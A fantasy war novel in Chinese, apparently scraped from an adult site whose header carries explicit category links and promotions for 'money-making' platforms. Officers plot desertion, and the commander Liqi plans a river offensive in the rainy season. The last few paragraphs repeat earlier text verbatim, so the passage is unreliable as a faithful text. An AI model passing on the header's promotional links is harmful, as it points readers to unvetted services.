自拍偷拍 站长精选APP 网红主播 国产传媒 女优无码 中文字幕 视频下载 激情小说
[公告]:发送任意邮件到shuiduoduo58@gmail.com ,获取最新水多多网址,建议使用电信联通播放,移动有时打不开。
  赚钱信誉平台推荐
  狼友必备下载推荐

第一话 人心惶

  一阵呜呜的汽笛声划破清晨的寂静,列车缓缓地开动起来。

  车头后挂载的全都是货车车厢,里面却装满了人,全是女人、小孩和老人。或者说得更加确切些,全都是女骑士、未成年的骑士和年迈的骑士。

  这些人显得有些木然,但眼神中却充满了愤怒和无奈。

  在车站上,还有无数人等候在那里,他们都等着上车。

  这场面像极了当初蒙斯托克大撤退的情形,唯一不同的是,蒙斯托克大撤退的时候,逃往后方的全是平民,所以都是以家庭为单位,拖家带口、拉着车,车上装满行李和帐篷。眼前这些全是骑士,就算那些穿着开裆裤,连路都不太会走的小孩,也都是骑士。对于骑士来说,什幺都不需要带。

  因为下过雨的缘故,站台四周的煤渣地蓄起一个个水塘。小孩并不知道忧愁,所以在水塘里踩水玩,周围的人当成没看见。此刻他们都不愿意打扰孩子们的嬉戏,这可能是最后的快乐时光。

  突然,远处又传来一阵汽笛声,另外一辆列车驶入站台。

  车一停下,从两边的房子里立刻冲出一队宪兵。他们飞快地打开车门,转头对站台上的人大声喊着:「快、快一点,全都上车。」

  他们不只是喊,还毫不客气地用力推、用脚踹,像赶牲口似的把人往车上赶。

  对于他们来说,时间才是最重要的。每五分钟就有一班车进站,如果耽误的话,他们要为此负责。

  远处有许多战甲围成一圈,包围整个车站。

  两个军官无精打采地倚靠一部战甲站着,两人嘴里叼着香烟,脚下更是一地的烟头。

  「这些人要送往哪里?德勒班查还是蒙特罗涅?」一个军官吸口烟问道。

  「管那个干什幺?」另外一个军官显然心情很不好。

  「我是羡慕他们。虽然是人质,但那两个地方确实不错,远离战场、风景秀丽。如果我们有机会调往那边就好了。」

  这名军官丝毫不掩饰心中的羡慕。

  「现在想起来,战争刚爆发的那段日子似乎还在眼前,那时候你好像整天都想着建功立业……」另外一个军官不由得嘲笑。

  「你觉得近?我却不觉得,我都快忘了那是多久以前。」

  两个人陷入沉默之中,他们一个劲地猛抽香烟,就是因为心中的郁闷。

  不只是他们,此刻联盟上上下下都对时局彻底失去希望。

  好半天,稍微年轻些的军官问道:「你的同学在参谋部里,你有没有问过,五号防线能拖延多久?不会像前面四道一样,全都只支撑一个月吧?」到了这个阶段,联盟的人知道败局已定。

  年初时,他们原本还奢望能像之前的同盟一样,靠拖延、靠深纵,把这场战争变成长达几年的消耗战,耗到同盟精疲力竭,最后不得不回到谈判桌上。

  但现实异常残酷,第一道防线在一天之内被突破,之后的三道防线也只支撑一个月。虽然消耗的目的达到了,双方伤亡惨重,但拖延的目的却没有达到。此刻联盟的每一个人都在数日子,看看帝国还能存在几天?

  「想要听实话,还是上面宣传的那一套?」另外那个军官问道。

  「你居然还有心情开玩笑?」年轻军官瞪了同伴一眼。

  「想听真实消息是要付出代价的。」年长的军官摊了摊手。

  一包香烟立刻拍到他的手里。

  目的达到了,那个军官顿时眉开眼笑。这玩意儿是之前抄家时抄来的,别看数量不少,抽一包就少一包。

  「虽然参谋部推演的结果是至少能够支撑到秋季,毕竟五号防线是凭借阿尔齐斯河这道天然屏障构筑而成,之前的四道防线根本没法比,而且那里已经是我们的地盘,说到地形我们更加熟悉。但是……」那个军官停了一下。

  「快说。」年轻军官又丢了一包香烟过去。这玩意儿对他来说只是用来消愁解闷,并不是必须,他的烟瘾还没有那幺大。

  「我的同学无意中听到海因茨参谋总长说起,战局可能会发生重大变化,阿尔齐斯河这道天险未必指望得上。」那个军官将两包香烟迅速收进口袋,他猜同伴肯定不会满意这个答案。

  过了片刻他觉得惊讶,因为同伴没有任何表示。

  「你怎幺没要回这包香烟?」他的心里藏不住事,忍不住问。

  「我不需要知道太多,就算知道了也没用。既然这话是海因茨说的,绝对不会有错。」年轻骑士的脑子倒是清楚,他知道自己只是一个小人物,时局的变化根本不由他掌控,他需要做的只是早一步做好安排。

  「你有什幺打算?」年长军官看到小老弟一言不发,有点心动起来。他的朋友多,见识的人也多,早就看出这个小老弟虽然年纪不大,但心思很深沉。

  「我会有什幺打算?就算有打算……我这种小人物能够决定些什幺?」年轻的军官自嘲。

  「这就不够意思了,我知道你肯定有想法。」年长的军官看到小老弟手里的烟快没了,连忙递过去一根,浑然忘了烟是从对方手里弄来的:「有什幺想法就说出来嘛!你知道我认识的人多,说不定我能够帮得上你的忙。」

  这话说到年轻军官的心里:「你有没有办法把我们两个人调往前线?我说的是东线。」

  年轻军官两眼放光看着旁边的同伴,他等着答覆。最近这段时间他一直在球磨一些事,之前不敢表露出来是因为他不知道战局会怎幺变化。现在既然知道阿尔齐斯河防线在海因茨这种人看来没有太大意义,抵挡不了太久,他必须加快速度。

  「上前线?你想找死?」年长的军官顿时跳起来,他甚至想抢回那根烟。

  「那才是最安全的。」年轻军官此刻显得异常高深莫测。

  「说来听听。别的我做不到,想上前线绝对没问题。」年长的军官心思有些动摇,他突然想到,就算上前线也未必危险,他可以想办法弄一个观察员的名额。

  「阿尔齐斯河是当初五大防线的最后一道防线,虽然后来又搞了三条小防线,但大家都知道那是什幺玩意儿。也就是说,阿尔齐斯河一旦失手,这场战争差不多就快结束了。越往后拖,局势越严峻。」

  年轻的军官并不急着说出他的想法,他先分析时局。

  年长的军官点了点头。这话他可以理解。

  现在和同盟苦战的是两种人,一种是东线各国的军队,那是用来消耗的炮灰;另外一种是帝国的精锐部队,是打仗的主力。像自己这种二流角色,至少现在还是安全的。

  但等到阿尔齐斯河被攻破,帝国上下恐怕顾不上一流、二流,只要是人都会被送上前线,那时候就轮到他们倒霉。

  年长的军官若有所思,年轻军官继续说道:「现在这边的前线也很吃紧,已经连着打了六场败仗,眼看就要打到伊尔曼诺夫。东线这些国家根本没心思抵抗,所以前线败得很快;同盟打得轻鬆,提防的心思也不重。如果我们……」说到关键处,他将嘴巴凑到年长军官的耳边:「上了战场之后,我们寻找机会脱离战场,然后找一个地方潜伏;如果有可能的话,乾脆北上。」

  年长军官顿时倒抽一口冷气,他没想到小老弟打的是当逃兵的主意。

  不过转念一想,他又觉得这办法不错。东线的主力部队全都被调往中线,剩下都是一些二线兵团,根本没有一点战斗意识,很多人一上阵立刻投降,还有很多人直接当逃兵。同盟也是一帮杂牌部队,攻得又急,所以免不了有很多空隙。

  另一个让他心动的理由是,像他们这种人如果在中线失蹤,帝国不会怀疑他们是逃兵,而会算进阵亡人员名单里。

  他听参谋部的同学说,拿这些阵亡人员名单对高层也有用处,可以拿给东线各国看,以证明帝国并非没有付出代价。

  「好吧,我去找人活动一下,或许……我会再粒一个人过来。我认识一个在同盟后方打过骚扰战的人,他对地形非常熟悉。」年长的军官说出他的想法。

  年轻军官犹豫一下。当逃兵这种事不是人越多越好,反而是人越少、目标越小。但要北上的话,确实需要一个嚮导,最起码要懂得当地语言。战争初期潜入同盟后方的骚扰队,全都需要学习至少两种东线缓冲地带国家的语言。

  「如果那个人可靠的话,这是一件好事。」他很快想通其中的利弊。

  波涛汹涌,河水湍急,耳边儘是哗哗流水声,以及时不时响起拍击河岸的声音。

  利奇漫步在码头上。

  这是一段石砌的码头。那一圈铸铁的栏杆,证明这里原本应该是一个惬意悠闲的地方,他甚至可以想像,在战争爆发前肯定有很多人在此休憩和游玩。每天早晨或晚上到这里转一圈,看一看奔腾流淌的河水,会让人忘却很多烦恼。

  可惜美景已经不再。

  除了这个码头,其他地方全都成了一片废墟。

  对于利奇来说,这种景像他看得够多了。

  一路上所有城市全都被夷为平地,他能够看到的只有冒着青烟的残垣断壁,只有翻捲的坑洞和焦灼痕迹,以及满地的残破金属碎片。

  这些还算是好的。

  每隔一、两百公里还可以看到更加恐怖的地带。那里寸草不生,地面坑坑洼洼,泥土被踩得稀烂,空气中带着一股血腥味和尸臭味。

  那些全都是联盟构筑的防线。

  每一道防线都经历过无数次争夺,两边的战甲来回踩踏,就算石头也被踩得粉碎。更恐怖的是天阶骑士之间的战斗,有如毁天灭地一般,交战之处方圆一公里以内,都会变得如同被磨盘碾过。

  码头上并非只有利奇一个人,不过其他人不敢打扰这位同盟最高统帅。

  年初利奇刚刚得到指挥权时,从上到下很多人不服气,真正的支持者恐怕只有卡佩奇高层,再加上一个卡洛斯老头;其他人,甚至包括安妮莉亚都有些许其他想法。

  五个月之后的现在,已经没有人再对此产生怀疑。

  不只是因为他打赢了,也不只是因为一比四的战损率,而是因为在东线作战的每一个人都切身体会到他的强大。那些出现在观察镜里的数据不知让多少人获得意外的战功,也不知让多少人死里逃生。

  正因如此,码头上的骑士看到利奇,全都非常真诚地敬礼。

  利奇颇为郁闷,他不是一个严肃的人,也不喜欢军队的这套礼节。他宁可别人不认得他,也用不着敬礼,因为别人敬礼,他总是要回礼;一个、两个还可以,人数一多就无聊了。

  说实话,利奇不是一个好的将领。

  一个好的将领要不就是爱兵如子,所以部下也愿意拚命,就像布鲁姆、海格特那种类型;要不就是视人命如草芥,杀伐决断,嘉利就有一点这种味道。

  偏偏他两者都不是。

  他珍惜每一个骑士的生命,但他对这些部下一点感情都没有,他甚至连指挥中心里直属于他的参谋和念者都认不全,顶多觉得有些眼熟,名字肯定不会记得。

  一阵刺耳的尖啸声从头顶上方传来,利奇猛地一惊,他连忙抬头看去。

  只见十几部「蛇怪」从数百公尺外的上方飞过。

  「幽灵,我们的幽灵。」

  「真的是幽灵。」

  「实在是太帅了。」

  四週一片欢呼之声。

  发出欢呼声的全是年轻骑士,都是刚从后方调过来的新手。他们一下子看到这幺多灵甲,心中的兴奋是难免的。

  在战场上打过很多滚的「老兵们」,一看到这幺多灵甲突然冒出来,首先就是找躲的地方。

  利奇就是「老兵」,他比其他人都快。听到刺耳尖啸声时,他已经找好退路。此刻他想知道的是发生什幺事。

  耳边那一声声「幽灵」让他感觉有些不自在。

  他不知道是谁第一个将这种新式灵甲称为「幽灵」,反正很快被传开了,正式的名字「蛇怪」反而很少有人知道。

  不过有一点他也承认,「幽灵」这个外号似乎很贴切,因为这玩意儿飞在天空时,机体完全舒展开,确实有点像传说中的幽灵。

  突然,一阵低沉轰鸣声滚滚而至,声音传来的方向是河对岸。

  和声音差不多快,利奇远远地看到河对岸飞来十几个小黑点。

  一看到这玩意儿,他不敢有丝毫停留,闪身撺进身后的废墟中。

  他不但逃得快,逃的同时,他的身体迅速隐没。

  在废墟中,利奇连续变换几次方向,完全隐匿自己的气息。

  他不敢保证联盟发现他的蹤影之后,会不会直奔着他杀过来?

  离河边差不多有七、八百公尺,他才停下了脚步。

  现在用不着担心了。

  这里原本是一座颇大的城市,现在整座城变成一片废墟,到处都是残垣断壁,想找一个地方藏身实在太容易了,要把人找出来却是难上加难。

  利奇对于躲藏很有经验,他找了一堵断墙往后一缩,把窥视镜伸出外面。

  河对面的小黑点在窥视镜里放得很大。

  那也是灵甲。

  它们的样子非常可笑,看起来又矮又胖,身材粗短。

  传统灵甲并不好看,木头木脑像一个大圆筒,但这玩意儿比传统的灵甲更难看几分。

  不过就连利奇都不得不承认,这玩意儿的性能确实不错。

  个头矮,重心就低,操控性自然好,所使用的材料可以减少许多,结构强度也要高一些。

  这玩意儿出自波罗诺夫之手。

  就像当初他预料的,波罗诺夫确实在老式灵甲的基础上进行一些改动,没有像他彻底改变结构。

  不过他还是小看了波罗诺夫。从最近这段日子收集的数据来看,这种灵甲的性能不比他研发出来的那三种灵甲差。

  利奇已经不是第一次看到这种灵甲。

  三个月以来,这种身材矮胖的灵甲已经和他的作品交手无数次。

  说起这件事还真是险到极点。

  伊洛完成所有的实地测试是二月十七日,比时间表晚了两天,原因在于超加速系统的问题。

  事后同盟的情报部门才打听到,联盟的新式灵甲在二月十九日也完成实地测试,而且他们第一批就製造了四十部样机。刚完成测试,二月二十二日联盟一下子集中三十部灵甲,对同盟发起挑战。

  同盟的第一批样机只造了二十五部,其中「蛇怪」、「兽魔」和「猛士」各七部,除此之外还有利奇自己的那一部灵甲。

  幸好之前他在天之城时已经为一批天阶骑士量身打造灵甲,总算凑出五部,两边在数量上算是势均力敌。

  那一战至今让利奇记忆犹新,同样也让所有人记忆犹新。

  古往今来还没有过这种规模的灵甲战斗。

  在以往的历史上,最大规模的灵甲决战是一个小队对一个小队,而且一千多年来只出现过两次那样规模的战斗。

  三十部灵甲对三十部灵甲,二月二十二日那天,双方真正称得上杀了个昏天黑地。

  当时联盟东线的一个军团和奥摩尔第七十五军团刚交战完毕,还没有来得及撤下去就被无意间捲进去,最后这两支军团连渣都没剩下。

  那场战斗从下午一点持续到晚上七点,最后联盟陨落了七位天阶骑士,重伤十二人,其他人全部轻伤,同盟也差不多,天阶骑士陨落五人,重伤十六人,其余轻伤。

  事后,两边又因为争抢灵甲的残骸而大打出手。

  那天双方倒在战场上的骑士加起来差不多有十万,可以说是开战以来最惨烈的一仗。

  不管是同盟还是联盟都无法承受这种损失,所以之后再也没有发生过类似的战斗,甚至双方会避免三部以上的灵甲出现在战场上。

  今天为什幺会如此反常?躲在矮墙后面,利奇暗自嘀咕。

  他不知道眼前是怎幺一回事。

  如果联盟真的打算来一场高层次对决,他必须赶快回指挥中心。

  有他在和没他在,情况完全不同。

  他能够看到能量的聚集和传递,可以预先知道对方将会做出什幺动作;在高手对决时,这是一个优势。

  他又可以和其他人共享他看到的东西。也就是说,只要他在指挥舱里,所有的天阶骑士可以拥有看透别人动作的能力。

  一开始时,那些天阶骑士有的不习惯别人帮助,有的爱面子不愿意接受他的帮助,但随着这些不知好歹的家伙一个接着一个陨落,剩下的天阶骑士全都懂得怎幺和他配合。

  在三月中旬之前,两边天阶骑士的伤亡数字大致持平,但在那之后,同盟的伤亡迅速减少,双方差距再次拉开。

  指挥部离那条河有六十多公里,这种距离保证不会遭到对方的突袭。

  利奇一路潜行,到了大门口时才显露行迹。

  指挥部设在一片山坳之中,两侧山岭上各升起一个侦察气球;山坳的入口拉起一道数尺高的铁丝网,门口车辆出出进进。

  「您不是去前面探勘地形吗?」门口站岗放哨的军曹看到利奇,疑惑不解地问。

  「前线怎幺一回事?那幺剑拔弩张,是要开打了吗?」利奇不指望这个军曹能给他答案,他是解释他为什幺匆匆忙忙回来。

  「报告长官,说来也巧:那边好像也来了什幺大人物,正在视察沿江防线。」让人预料不到的是,这个军曹居然消息灵通。

  利奇顿时鬆口气,原来是虚惊一场。

  既然已经回来,他当然不可能再跑到河边,再说也太危险了些。

  验过通行证,利奇进入指挥部;即便贵为总指挥,他也要照章办事。

  「前线探勘得怎幺样了?」

  「一切还顺利吗?」

  「情况如何?是不是有什幺计划?」

  一路上遇到的人全都好奇地和他打招呼。

  利奇只能苦笑,或许是因为他的灵感太多,现在他不管做什幺事,旁边都有一堆人看,然后会问他是不是又有了新的想法?

  他跑到河边探勘地形只不过是一个借口罢了。

  连续三个月,他每天都生活在紧张和枯燥之中,又因为「时间凝滞」的关係,对他来说彷彿过了几十年之久,所以他打算趁着没有战事,稍微放鬆一些。

  因为有这条河的缘故,两边暂时打不起来。同盟在没有做好渡河的準备前不会挑起战斗,而联盟的局势岌岌可危,龟缩防御或许还能拖延一些时间,想要像战役开始时的以攻对攻,简直是做梦。

  密斯拉迎面走来。

  利奇以为公主殿下也想问他勘测的情况,他正思索怎幺唬弄过去,没想到密斯拉把一份战报塞到他手里:「你回来得挺是时候,刚刚得到报告,西线大获全胜。」

  「这怎幺可能?昨天的战报不是还说卡尔门松堡至少要一个星期才能够打下来吗?」利奇迅速地翻着战报。

  他立刻明白前因后果了。

  说穿了一点都不稀奇。就像当初联盟势大,同盟有很多人纷纷投降一样,风水轮流转,现在轮到同盟佔据上风,联盟自然也有人选择投降这条路。

  这一次投降的正是西线仅次于西斯罗联邦的第二大国——波利伦帝国。

  说来这是一件可悲的事,由于政体因素,也因为波利伦和弗兰萨两国的皇室有姻亲关係,所以这个国家一向扮演弗兰萨帝国追随者的角色。在世人眼中,西线其他国家都有可能投降,唯独波利伦帝国不会这幺做。所以当初弗兰萨帝国强行控制西线各国时,唯独没有对这个国家採取行动,反而还让波利伦帝国的军队协助他们压制西线各国。

  「乔治五世恐怕会变得更加神经质了。」利奇为那位皇帝陛下感到可怜。

  这个世界上没有什幺比被信任的人背叛,更令人感到难以忍受的事。

  或许是因为波利伦帝国的背叛太让人震惊,以至于利奇对西线的胜利一点都不在意。

  不过话说回来,就算没有波利伦帝国的背叛,战事差不多也快要结束。卡尔门松堡是通往西斯罗联盟首都拉森霍格尔的最后一道防线,一旦那里失守,同盟的大军可以直接开进拉森霍格尔。

  「会议室已经準备好了。」密斯拉提醒。

  利奇顿时明白过来,西线的变故会影响中线战场。

  西线崩溃意味着集中在中线的部队不得不分出一部分兵马,调往西部边境。

  「召集联合参谋部的成员和各军团指挥部到会议室来。」利奇下令道。

  「波利伦帝国之所以会突然倒戈,是因为弗兰萨帝国打算用对付东线各国的办法,同样对付西线各国。他们已经开出一份名单,上面罗列西线各国所有政治要人、军团以上指挥官、辉煌级以上骑士的家属,并且下令在十五日之前,这些人都必须到达索贝。从东线的情况看来,这显然只是第一步。等到控制这些大人物的家属之后,接下来,範围将扩大到主力部队的成员家属,就像现在东线各国……」

  情报部门的人在会议上解释西线变故的原因。这个理由令人感到无语。

  利奇偷偷看向安妮莉亚和卡洛斯。

  说实话,战争开始之初,同盟高层做得也不怎幺样,全是一心为了自己打算,只不过同盟至少没有做得如此出格……当然,罗索托帝国除外。

  情报官说了大概一刻钟,总算把前因后果都说个明白。他说话时,利奇在底下把战局可能的变化,仔仔细细地推演一遍。

  众人的目光转到他身上。

  一开始时他会感觉不自在,但现在他已经不在乎了。

  把推演的结果稍微理了理,利奇开口说道:「大家都知道乔治五世是什幺样的人物,这次西线的变故肯定会让他变得更加偏执,他十有八九会对所有人产生怀疑,特别是前线的指挥官,还有东线那些国家也会更加被怀疑。所以,接下来的这段时间,我们没必要採取任何行动,表现得越放鬆越好。」

  利奇的提议显然出乎所有人预料之外。其他人不管是高级参谋还是比斯那几个人,原本都认为利奇会要求加快渡河的準备,没想到结果完全相反。

  众人沉思起来。

  「这招确实……不错,借刀杀人果然是最上乘的兵法。如果情报部门能够再适当配合,或许效果会更好。」巴尔博居然是第一个表态的人物。他纯粹就事论事,利奇的这招很绝,而且也够狠、够毒。

  「难道我们用不着渡河了?」卡洛斯老头有些怀疑,他承认利奇的想法没错,以乔治五世的性格,到了这个时候肯定会疑神疑鬼,但他不认为乔治五世会乱杀人。那个家伙虽然暴虐,却是一个明君。

  「现在是五月,一旦进入六月,雨季一到,河水就会猛涨,到了那时想要渡河,恐怕难度会加大好几倍。」奥摩尔帝国的参谋总长也忍不住说出自己的看法。他的目光不停地瞟着巴尔博,颇感奇怪,这个家伙怎幺站到利奇那边去了?

  巴尔博知道手下的人全都充满疑问。他不打算投靠利奇,他之所以同意利奇的提议,只不过因为他看出一些事。

  巴尔博嘴角微挑,朝利奇说道:「想必,接下来的仗,你打算按照你希望的那种方式进行吧?」

  被他一点醒,众人似乎稍微明白了。

  五个月来,利奇一直按照传统方式指挥作战,以至于大家忘记他当初提出的全新作战方式。

  年初没有採用这种战法,是由于新式灵甲还没有研发出来。后来新式灵甲製造出来,但那场大战让半数灵甲受损严重。一直到四月,採用新战法的条件才完全成熟,但那时战事非常顺利,似乎没有必要进行改变。

  「如果採用传统战法,想要渡过这条河肯定要付出很大的代价;换成新的战法,完全靠高阶骑士作战,对于驾驶灵甲的高阶骑士来说,这条河根本算不上什幺障碍。本来在高阶骑士的人数上,我们虽然佔优势,优势却不明显,但现在波利伦帝国的背叛肯定会让乔治五世疑神疑鬼,在他眼里,盟友恐怕都成了潜在威胁,所以他肯定不敢动用其他国家的高阶骑士。这样一来,这场战斗成了弗兰萨一国抗衡我们所有国家。」利奇谈论新战法的好处。

  他还有一点没说。

  一旦乔治五世输掉这一仗,弗兰萨帝国的尖端武力折损严重,那位皇帝陛下为了求得自身安全,肯定会对联盟其他国家的高阶骑士大开杀戒。

  利奇的策略迴绕了几个圈,就算弗兰萨帝国高层看透他这招「借刀杀人」,最后仍旧得把屠刀拎起来。

  在场所有人只有巴尔博看透利奇的全部打算,他不得不为这条毒计喝彩。

  其他人没想得那幺透彻,却不妨碍他们做出判断。

  「这样也好,可以尽可能减少伤亡。仗打到现在,血流得已经够多了。」卡洛斯老头也表示赞同。

  不过他又是另外一种想法。

  如果是战争开始之初,他情愿牺牲军队也不想损失一个天阶骑士,但此刻情况已经完全不同,身为帝皇,他需要为将来做打算。

  从战力上讲,一个天阶比十万普通骑士要强,但对于一个国家来说,一个天阶骑士生育的后代比不上十万普通骑士的后代。

  更何况,说得自私一些,对于他这种帝王来说,情愿给十万普通骑士论功行赏。虽然他的付出可能会更多,但不会有什幺威胁。

  那些天阶骑士就不同,他们已经位高权重,而且大多数人都对权力不感兴趣,所以按照惯例,必须授予他们一些非常超然的权力,比如对皇室继承人的监管权、对皇帝决策的否决权。

  一般来说,这种权力的象徵意义多于实际用途,但有时候也会出意外。

  在过去的历史上,确实发生过有人借这种权力窥视皇权,试图篡位。

  那是发生在六个世纪以前,第二次列国大战结束之后。有一个叫马尔罗的天阶骑士,此人非常善于伪装自己,当时的人以为他淡泊名利,所以给了他好几项超然权力;此人又善于隐忍,一直都没有表露野心,直到和他同时代也拥有超然权力的一批人全都逝去,他才渐渐发难,逐步蚕食各方面的权力。从议会到内阁,最后甚至连宫廷都在他的掌控中,只差一步奥摩尔就要改朝换代。

  前世不忘后世之师,卡洛斯不希望给自己的子孙留下一个巨大隐患,特别是他年事已高,皇位传承近在眼前,他的忧虑自然比他的历代袓先更甚。

  所以他私心希望战争结束之后,天阶骑士的数量越少越好。反正短时间里不可能再有大规模的战争发生,只需要十年时间,新一代的天阶骑士就会陆续出现,补充之前的损失。

  对于奥摩尔这种千年大国来说,恢复元气是一件很容易的事。

  「用传统的方式渡江,损失确实会很大,我原本想等到西线和东线的战役结束后,再从三面对中线各国进行夹击。现在既然有了更好的办法……我表示赞成。」安妮莉亚终于表态了。

  这位女皇陛下的想法直接多了。

  同样是君主制度,她不会有卡洛斯的烦恼。

  帕金顿圣国皇室和四大王族共同统治国家,任何人想要篡夺皇位,首先要扳倒四大王族;四大王族里有人立下赫赫军功,也用不着担心没什幺可封赏的:将他这一脉立为嫡系就是最好的奖赏。

  卡洛斯和安妮莉亚先后说话,剩下只有大叔没表态了。不过大叔根本用不着开口,大家也知道他会做出什幺选择。

  「我有一个问题。」巴尔博看到别人不开口,他苹次冒出来:「我想知道,这一次要不要再遵从骑士的传统?我们如果全力尽出,总共三百七十部灵甲,足够把联盟打个稀巴烂。他们的灵甲数量远比我们少,虽然不知道準确数字,但可以确信不会超过一百部。」

  「既然是全新的战法,没必要再拘泥于什幺传统吧?」利奇抢先说道。他本来就想让大家看看新战法的威力,凭他的指挥,再加上三个打一个,正如巴尔博所说的,绝对可以轻而易举把对方打个稀巴烂。

  「你一直都不是一个真正的骑士,以前不芑,将来也不指望你是。」大叔在一旁苦笑。他虽然支持利奇,但这次多少有些意见。他希望能够堂堂正正和联盟打一仗。

  不只是大叔,其他人,无论是天阶骑士还是圣级强者,全都想和联盟来一场势均力敌的战斗。

  他们已经意识到这将会是最后一场传统意义上的骑士对战,从此之后,战争将会变成彻底的倚强凌弱。谁的天阶骑士多、谁的灵甲数量多,谁就会是战争的胜利者。战争的持续时间也不会旷日持久,可能最长只有一个星期。

  「折衷一下,弄两个梯队。第一个梯队由一百部灵甲组成,做为先锋,其他的灵甲放在第二梯队里,做为预备队。我想大家应该能够接受吧?」卡洛斯提议。

  他的方案显然有些和稀泥,不过两边都可以满意。那些想要堂堂正正来一场大战以做为传统骑士战争终止符的人,全在想该如何尽可能地加入第一梯队里。利奇、安妮莉亚和参谋们同样也没什幺好失望的,就算第一梯队僵持不下,甚至稍微处于下风,第二梯队一上,结局也毫无疑问。唯一的遗憾是,伤亡率可能会高一些。

  既然已经决定仗怎幺打,议题自然转入具体的进攻日期和準备工作。

  所有的目先再次集中在利奇身上。

  这些应该由利奇决定,不过更重要的是,只有利奇知道所有的新式灵甲什幺时候能製造出来。

  最早的一批战甲总共二十五部,在大战中损毁严重,三月底又有七十五部新式灵甲被製造出来,加上之前订造的灵甲,数量已经超过一百部。

  这期间也曾发现一些问题,一直到三月下旬,测试才算基本完成。四月开始,那些老式灵甲全数回炉。

  「这用不着担心,昨天我得到的消息是,所有的灵甲已经组装完成,接下来只剩下细部调试。如果急着用,立刻就可以上战场。」利奇对于新式灵甲一直非常关心,所以他随口说出进展。

  不过这些灵甲从后方运往前线也需要一些时间。所有的灵甲都是在天之城和奥德两地生产,这里只有一个维修部。

  一听到这话,所有人都鬆了一口气。

  这是一个振奋人心的消息,虽然那些灵甲製造出来未必立刻被使用,但有了它们,战胜的把握提高很多。

  所有人最感觉高兴的是卡洛斯老头。从战争开始他一直担惊受怕,即便之前局势对同盟非常有利,他仍旧担心会风云突变,现在他终于可以放心了。

  「负责气象监测的人说,今年的雨季可能提前来临。」巴尔博又插进来,他微笑着看向利奇,显然他很想看看利奇的反应。

  雨季一般是六月开始,这里的雨季没有瓦雷丁夸张,不至于一天里下好几场暴雨,但雨水挺多。

  雨季对于军事行动来说非常不利,不说别的,同盟的空中优势会大打折扣。

  大雨对于飞速转动的桨叶是很大的伤害,而且雨季云层厚密,又压得很低。再加上云层里暗藏雷电,飞翼很容易遭到雷击。

  部队机动更是谈不上,大雨过后泥泞一片,很多地方就算是轻骑都难以通行。

  当初在攻打瓦雷丁时曾经发生很多意外,要不是瓦雷丁到了后期缺兵少将,完全可以趁蒙斯托克和德雷达瓦联军行动不灵的空档,展开全面反击,到了那个时候,谁胜谁负就难以预料。

  此刻中线各国的兵马仍旧有两百余万,还有一搏之力。

  利奇并没有觉得意外,他早就感到巴尔博有些不正常。这个家伙之前一直替他说话,显然是在这里等着他。

  此刻最保险的作法就是趁着雨季还没有到来,加快行动速度,抢先进攻。但这和他刚才所建议的稍微等一等,让联盟的紧张情绪继续发酵,让乔治五世越发疑神疑鬼的提议,完全背道而驰。

  既然提前行动不可行,只有等待雨季到来。

  利奇不认为巴尔博只是随意一说。这个家伙今天如此反常,他肯定有什幺计策。

  利奇迅速地计算起来。

  五分钟过去了,两部智脑反反覆覆计算无数次,各种方案推演出数十份,但没有一份让利奇觉得满意。突然利奇的眼睛一亮。

  占往今来有很多战争靠人力获取胜利,但也有一些战争的胜利靠的是自然界力量,其中又以水、火两物被借用得最多。

  说到水,眼前不就有一条大河吗?雨季时,河水更会暴涨。

  一个想法在他的脑里渐渐成型。

第二话 大决战

  乌云密布,雷声滚滚,云层中不时划过一道闪电。

  瓢泼大雨从天而降,地面上早已积起一洼洼水塘。

  负责监测天气的人没有搞错,雨季真的提前来临。一进入雨季,雨水特别充沛,连着几天大雨没有停过。

  如果是战争爆发之前,到了雨季还没有这幺难受。大陆偏南的各国都很注重修建水利网,细密如叶片脉络的沟渠很快把雨水排入江河,然后顺着江河进入大海。但连续多年的战争把一切都破坏了,而且不久之前这里是战场,方圆一千多公里的植被全被破坏殆尽,地面也被踩踏得稀烂,到处都是大小坑洞,所以雨水全都积了起来。

  「如果这场大雨持续一个星期,地面会泥浆化,到时候这里就变成沼泽了。」

  跟随在利奇身边的地质专家给出这个答案。

  用力踩了踩地面,利奇感觉脚下已经有些发软,这是大地泥浆化的徵兆。

  虽然他对于下一步的作战计划已经有全盘打算,就算整个南方全化为一片泽国,对他来说影响也不会太大,但在此之前他忽略了一件事:后勤补给。

  此刻同盟军队有三百多万聚集在这里,单单每天的食物就要消耗几千吨,更别说其他物资,都要从后方运过来。

  年初时,因为还在同盟控制区里,可以依靠铁路运输把补给物资源源不断地运来。现在已经深入联盟境内,这里原本有很多铁路,但联盟在撤退时把铁路拔光,连路基都遭到破坏;公路也差不多,不过公路的毁坏也有己方的一份功劳。当初唯恐毁得不够彻底,现在他却为此头痛。

  突然利奇听到有人叫他。

  抬头一看,他顿时高兴得跳起来。

  只见远处一长串车流之中,有一个人正站在车顶上朝他挥手,那是玫琳。

  他几天前听说西线战事结束,当初跟着嘉利前往西线的人,现在陆陆续续撤回来。有些人打算回蒙斯托克,但更多人将转来中线。没有想到玫琳这幺快抵达。

  和身边的地质专家以及管后勤的人打个招呼,利奇扔下他们朝玫琳跑去。

  稍微靠近了些,看清车里的人,利奇的兴奋劲更足:车里还有黛娜和诺拉。

  当初跟着嘉利前往西线的有莉娜、黛娜、玫琳、诺拉和兰蒂,现在一半的人已经回到他身边。

  「莉娜和兰蒂怎幺不在?」利奇远远问道。他不担心这些女人会吃醋,当初大家都在105小队里,无数次出生入死早已养成某种默契。

  「她们脱不开身。嘉利是总指挥,莉娜要在拉森霍格尔坐镇,兰蒂负责通讯联络,很多事不能被外人知道。」玫琳从车顶上跳下来解释。

  利奇一听莉娜坐镇拉森霍格尔,立刻明白西线肯定不太平,十有八九罗索托人又在搞风搞雨。

  想要对付罗索托人,确实没有比莉娜更合适的人选。

  她是圣皇血裔,罗索托人就算不在乎她,也要顾及圣皇一脉的感受,很多手段不敢轻易使用。

  圣皇血裔的招牌对西斯罗联邦同样派得上用场,至少压得住阵脚。在外交谈判时,莉娜的身份比米哈伊恩和塞斯库有份量得多。

  「罗索托人又不太平了?」利奇上车后问道。他考虑若是罗索托人搞得太不像话,他会想办法给罗索托人一些苦头吃。

  此刻同盟军队有三百多万聚集在这里,单单每天的食物就要消耗几千吨,更别说其他物资,都要从后方运过来。

  年初时,因为还在同盟控制区里,可以依靠铁路运输把补给物资源源不断地运来。现在已经深入联盟境内,这里原本有很多铁路,但联盟在撤退时把铁路拔光,连路基都遭到破坏;公路也差不多,不过公路的毁坏也有己方的一份功劳。当初唯恐毁得不够彻底,现在他却为此头痛。

  突然利奇听到有人叫他。

